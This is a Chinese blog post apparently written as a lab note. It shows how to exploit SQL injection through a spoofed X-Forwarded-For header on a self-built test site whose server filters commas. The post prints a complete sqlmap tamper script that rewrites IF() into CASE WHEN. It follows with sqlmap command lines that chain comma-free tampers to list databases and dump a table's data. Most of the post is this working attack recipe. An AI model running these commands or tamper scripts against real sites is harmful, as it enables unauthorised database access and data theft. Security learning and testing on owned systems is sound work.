伪造ip进行注入 - JunMo博客

JunMo的博客

2019
记录生活
首页 » 学习笔记 » 伪造ip进行注入

伪造ip进行注入

前言

今天看某个程序遇到的写个文章记录一下

过程

先看看代码(这里是我自己搭建的)

由于这里的ip可以使用X-Forwarded-For 伪造所以产生了sql注入

但是这边使用了explode函数用逗号来分割所以相当于过滤了逗号

这里我使用了网上找到的脚本改写IF类型的判断为CASE-WHEN可以不使用逗号。

#!/usr/bin/env python

"""
Author: Conan0xff
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'IF(A,B,C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart

    Requirement:
        * MySQL
        * SQLite (possibly)
        * SAP MaxDB (possibly)

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the IFNULL() functions

    >>> tamper('IF(1=1,1,2)')
    'CASE WHEN (1=1) THEN (1) ELSE (2) END'
    """

    if payload and payload.find("IF") > -1:
        while payload.find("IF(") > -1:
            index = payload.find("IF(")
            depth = 1
            comma1,comma2, end =None, None, None

            for i in xrange(index + len("IF("), len(payload)):
                if depth == 1 and payload[i] == ',' and comma1 is None:
                    comma1 = i
                
                #the seccond comma
                if depth == 1 and payload[i] == ',' and comma1 is not None:
                    comma2 = i

                elif depth == 1 and payload[i] == ')':
                    end = i
                    break

                elif payload[i] == '(':
                    depth += 1

                elif payload[i] == ')':
                    depth -= 1

            if comma1 and comma2 and end:
                _ = payload[index + len("IF("):comma1]
                __= payload[comma1+1:comma2]
                ___ = payload[comma2 + 1:end].lstrip()
                newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___)
                payload = payload[:index] + newVal + payload[end + 1:]
            else:
                break

    return payload

然后sqlmap启动!

sqlmap -r "4.txt" -p "X-Forwarded-For" --random-agent --level 3 --tamper if --risk 3 --no-cast --dbms mysql

成功的识别出了注入

那试试看跑数据库呢

由于使用了函数mid 和 ifnull也需要用到逗号,因此无法获取数据库名,所幸sqlmap的tamper脚本里有了可以不使用逗号的mid和ifnull的改写规则:

ifnull2casewhenisnull.py:文件内容 MID(VERSION(), 1, 1) 修改为 MID(VERSION() FROM 1 FOR 1)
commalessmid.py: 文件内容 IFNULL(1, 2) 修改为CASE WHEN ISNULL(1) THEN (2) ELSE (1) END

添加上述两个tamper再跑一次看看

sqlmap -r "4.txt" -p "X-Forwarded-For" --random-agent --level 3 --tamper if,ifnull2casewhenisnull,commalessmid --risk 3 --no-cast --dbms mysql --dbs

成功跑出数据库test

试试看跑表

使用爆破的方式跑表成功爆出两张表

跑msg表的列以及数据由于limit使用了逗号也导致了无法获取列数据,commalesslimit.py改写规则如下:

commalesslimit.py 内容 LIMIT 2, 3 修改为 LIMIT 3 OFFSET 2    

加上tamper跑一下

qlmap -r "4.txt" -p "X-Forwarded-For" --random-agent --level 3 --tamper if,ifnull2casewhenisnull,commalessmid,commalesslimit --risk 3 --no-cast --dbms mysql --dump -D "test" -T "msg"

这样就能成功注入出数据

文章如无特别注明均为原创!
本文作者: JunMo
转载或复制请带上本文地址 http://mo60.cn/post-66.html
并注明出处 JunMo博客
原文地址《 伪造ip进行注入
发布于2020-1-11
收录状态: [百度已收录][360未收录]

分享到:


打赏

评论

游客

看不清楚?点图切换

  1. #1
    qq_avatar

    冰崖 1个月前 (2020-01-11)回复
切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册